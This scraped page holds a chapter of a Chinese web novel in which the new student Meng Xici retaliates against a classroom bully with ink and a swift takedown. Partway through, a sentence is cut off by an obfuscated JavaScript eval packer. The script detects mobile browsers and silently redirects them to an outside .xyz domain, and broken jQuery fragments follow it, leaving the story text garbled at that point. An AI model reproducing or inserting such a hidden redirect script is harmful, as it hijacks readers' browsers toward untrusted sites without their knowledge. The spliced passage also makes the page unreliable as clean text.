默认冷灰
24号文字
方正启体

14. 上早八

作者:海棠客本书字数:K更新时间:
    从沈寂出现在门口开始,众学子就开始交头接耳,尤其是女学子们,手中团扇摇得飞快,脸上还带着兴奋的红晕。


    孟西慈想起据传毁容的沈寂,抬眼朝他面具上看去,心底了然。


    原来这就是面具男的魅力?


    全靠自己脑补?


    柳院长颔首道:“那还挺辛苦,且回座吧。”


    “多谢院长挂念。”沈寂落落大方,施施然穿过堂中,衣角扫过木桌,惊起几缕墨香,清瘦的背影尽显文人风骨。


    柳院长的“演讲”被打断,也没再继续刚才的演讲,而是收了心神,朗声道:“今日有新学子入咱们崇贤堂,大家以后都是同窗,一定要以礼相待。”


    众人知道新学子是孟家那位二小姐后,兴致都不怎么高,大部分人的注意力都被沈寂拉走,只剩小部分等着看戏,或是看在柳院长的面子上朝门口遥遥张望。


    堂中掌声寥寥,夹杂着几句窃窃议论。


    “哎,前面的,看到那个野丫头长什么样了吗?是不是长得虎背熊腰、五大三粗的?”


    “想知道?自己去看啊!”


    柳院长朝门外站着的孟西慈招招手,和蔼地唤道:“孟西慈,快进来见过同窗。”


    后排酣睡的裴靖被扰了清梦,揉着眼睛一脸不耐烦地坐起来,喃喃自语道:“吵什么呢?”


    他从蒲团上坐直身子后,后背靠着墙,一转头,正好见到邻座的学子齐允南目不转睛地盯着堂上,面带痴笑,神情恍惚。


    看起来像是着了魔一样。


    学堂里安静得有些异样,只有偶尔的虫鸣打破这份宁静。


    “怎么了?”裴靖莫名其妙地朝讲堂上看去。


    这一看,瞌睡全醒了。


    裴靖先是微微吃了一惊,然后扬唇一笑:“哎呀,终于来了,可让我好等。”


    齐允南愣愣问道:“你们认识?”


    裴靖道:“我姑姑让我照顾一下她。”


    “那就是认识。”齐允南语重心长道:“好兄弟,帮我个忙……”


    没等齐允南说完,沈寂便在他前面坐下,一时将裴靖的注意力给吸引了过去。


    “沈兄,你可算回来了。”裴靖兴奋地伸长脖子,脸上带着调侃的笑:“前几日难得见到,还没来得及跟你一叙,我是受我姑姑所托,没想到你也会管孟二小姐的闲事。”


    “不过这孟二小姐长得好生标致,沈兄不会是动了恻隐之心吧?”


    沈寂将手中的话本子放在桌案上,抬眼看去。


    讲堂上的少女此时正背对着他们,用蘸了墨水的毛笔在木板上一笔一划地写着自己的名字,手指纤细白皙。


    因为衣衫轻薄,抬手间,后背优美的线条若隐若现。


    孟西慈写得很快,行书字体娟秀又不失洒脱,写完转过身,说道:“我叫孟西慈。”


    她的嗓音很清,像是雪山之巅融化的雪水,干净之余透着微冷。


    字也很漂亮,但人更甚,这是沈寂第一次从这个视角去看她,心底似乎有什么东西正等待着时机破土而出。


    孟西慈肤色很白,如雪一般,甚至比身上的白衣还要纯净几分。


    眼眸明亮,眉眼好似画中走出的仙子,在偷溜进学堂内的阳光映照之下,更显遥不可及、空灵剔透。


    从容貌到气质,都不是平日里常见的。


    所有人都等着她继续说,然而孟西慈并未再多言。


    学堂里又是一阵寂静。


    柳院长也对着孟西慈露出欣慰的笑容,这字迹和气质一看就不像传言那般不懂礼数。


    他过了片刻才反应过来,亲切地问道:“就……说完了?”


    孟西慈真诚道:“嗯。”


    裴靖与孟西慈相处的那段时间里,只知此女性格很冷,总是书不离手——不知是真的在看,还是在装样子。


    此时见到孟西慈的字,他哪还能不明白,这哪是什么野丫头,分明是一颗蒙尘的明珠!


    既是明珠,那就总会有发光发亮的那一日!


    裴靖大声惊讶道:“哎呀,这位学子的字真不错!”


    此话一出,学堂里顿时热闹起来,纷纷称赞孟西慈的字不像是没念过书的样子,毕竟没个岁月的沉淀,根本写不出这样的字。


    裴靖满意地听着耳边众人赞叹的话语,对前排的沈寂道:“你说是吧,沈兄?”


    沈寂硬朗笔直的手臂置在桌上,单手撑着流畅的下巴,闻言挑了挑眉。


    “是挺不错的。”他散漫扬眉,嗓音低沉,拖着长长的腔调,懒洋洋道:“也很漂亮。”


    岂止是漂亮,是漂亮过头了吧!


    这话裴靖也只能在心里想想,没说出来,怕引来没分寸的人乱传。


    他对孟西慈只有一种看美好事物的欣赏,并没其他意思。


    但因为他的出身,很多人总是会戏谑调侃,污言秽语扰人清净,把正常的说话氛围搞得很恶心。


    久而久之,他索性不去招惹女学子。


    柳院长对于孟西慈的回答只是点点头,正好外面有夫子找他,他指了指孟北悦身边的蒲团,交代一句:“第三排孟北悦旁边是你的位子,先坐下吧。”


    说完便出去了。


    此时坐在蒲团上被提起名字的孟北悦一僵,看向讲堂木板上龙飞凤舞的“孟西慈”三个大字,以及右侧浓墨泼洒、洇湿整张蒲团和木桌的狼藉,脸上失了血色。


    她原以为孟西慈久居深山,不识大字,恐怕连笔都不会拿的野丫头。


    却不想前几次与对方的接触,以及对方今日踏入学堂时,其周身的那股清隽风姿,竟与臆想的天差地别。


    她想象中孟西慈在学院的出现,一定会招来各方的嘲笑。


    如今孟西慈的字写得如此好,名声也有所,若是孟西慈在学院里受到委屈,父亲还会对她漠不关心吗?


    何况,孟西慈还有安阳王妃作为靠山,方才裴靖刻意提高音量说的话,她都听见了。


    若没有安阳王妃提点,裴靖这样的公子哥,怎么会去管一个不相干的小丫头的闲事。


    孟北悦心情复杂,没想到孟西慈竟然长成了大家都想不到的模样。


    正攥着衣角怔忡间,却见孟西慈已踱步至染上了墨水和脚印的蒲团旁边。


    周遭知晓内情的学子皆敛息屏气,目光紧紧锁在孟西慈身上。


    孟西慈垂眸扫过狼藉,忽而抬眼看向孟北悦,唇角勾出一抹弧度,却凉得教人发怵。


    孟北悦被她的目光灼得头皮发麻,怯生生垂下眼睫,带着几分委屈嗫嚅:“这并非是我……”


    孟西慈移开视线,眸光扫过整个崇贤堂,满室鸦雀无声,几个探头探脑准备看好戏的学子在她扫过来时都低下了头。


    林威是个不讲理还蛮横的混混,偏偏还跟汝南太守沾亲带故的,他们不敢招惹,这时候说话就是找死。


    虽说孟西慈是太守亲女儿,但谁都知道孟太守并不看重这个女


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15433246|169266||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    儿,因此比起弱女子孟西慈,他们更不敢得罪飞扬跋扈的林威。


    后面,不明就里的裴靖扯了扯身旁的齐允南:“怎么回事?”


    齐允南摇头,在听说孟西慈今日会来学院的时候,他就在想该怎么跟她道歉,一直想到现在,因此错过了刚才林威朝孟西慈位置泼墨的一幕。


    两人面面相觑,最终还是过道一边的人凑近压着声音,将前因后果道了个干净,两人才明白原委。


    “好个跋扈的林家大郎!”裴靖一拍桌案,震得前排沈寂的书卷掉落在地,发出咚的一声轻响,“沈兄,你看这……”


    裴靖刚想拉着沈寂上前,去给孟西慈解围,却见沈寂眼眸眯起,面具上好似也裹上了一层冰霜。


    手还在桌沿搭着,似乎是想要站起身来。


    恰在此时,前排传来嗤笑。


    “是我做的,你想怎样?”林威坐在原位上,眉眼天生带着凌厉凶狠,此刻却掺了点吊儿郎当,一双美目斜睨着孟西慈,眼中尽是挑衅:“不过是给二小姐的接风礼,可还合心意?”


    林威坐在靠后一些的位置,看着孟西慈缓步走近,有恃无恐地敲着桌面,“听说你很会告状,上次害我被罚了大半年的银钱,这次又要罚我钱吗?本公子有的是……”


    话未说完,孟西慈已拿过他案头的砚台,旋即对着他的头顶尽数洒下。


    浓郁醇厚的墨汁顺着林威发髻蜿蜒而下,糊住眉眼,浸透锦袍,他一身黑袍,墨水洒在身上其实并不明显。


    满室死寂,唯余墨汁滴落的滴答声。


    林威在学院横行无忌,何曾料想有人敢当众对他动手,还是一位女子,在他话都还没说完的时候!


    他抹了把脸,指尖尽是墨污,深眉俊目,可惜眼中唯余狰狞,猛地掀翻木桌,站了起来,“竖子尔敢!”


    林威暴喝着扑上前去,想给孟西慈一顿教训。


    却不想孟西慈身轻如燕,反手揪住他衣领,不过瞬息便将人抵在桌上,只听“咔嚓”的脆响,木桌应声而碎,锋利的木刺擦着林威的面门而过,离眼珠不过毫厘。


    周围人惊得张大了嘴,纹丝不动,已然被孟西慈这一套生猛的操作吓呆。


    在此之前,几乎没有人看好孟西慈,沈寂等人都准备帮忙了,毕竟林威在学院里还是很能打的!


    然而等两人真正对峙起来动手的时候,大家发现事情跟他们想的好像不太一样。


    孟西慈看着瘦弱,但身手和速度都好像很敏捷的样子,两三下就将林威给制服了!


    安阳王没到之前,孟家可是汝南的土皇帝,而林威作为孟家亲戚,在学院算是最有权势的那一伙,偶尔欺负人,学院里的夫子也只是装聋作哑。


    他从未被这样当众教训过。


    太跌份了!


    然而此时他望着近在咫尺的木刺,喉间发出不成声的呜咽,四肢瘫软如泥,冷汗浸湿了后背。


    孟西慈细长如玉的手指扣着他后颈,漫不经心地将另一只染了墨的手在他身上缓缓擦拭,脸上浮起笑意,如盛开的彼岸花,却冷得人心尖发颤:“承蒙厚爱。”


    她附在林威耳畔低语,尾音似裹着腊月寒霜,“此乃回礼,公子可还满意?”


    感受到手下的人挣扎了一下,孟西慈便顺势松开了。


    林威扭了扭脖颈,没有动作,面若冰玉,就那么冷冷地凝望着孟西慈,目光幽深、阴鸷,仿佛有暴风雨在暗涌积蓄,又像是在酝酿着更汹涌深沉的情愫。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)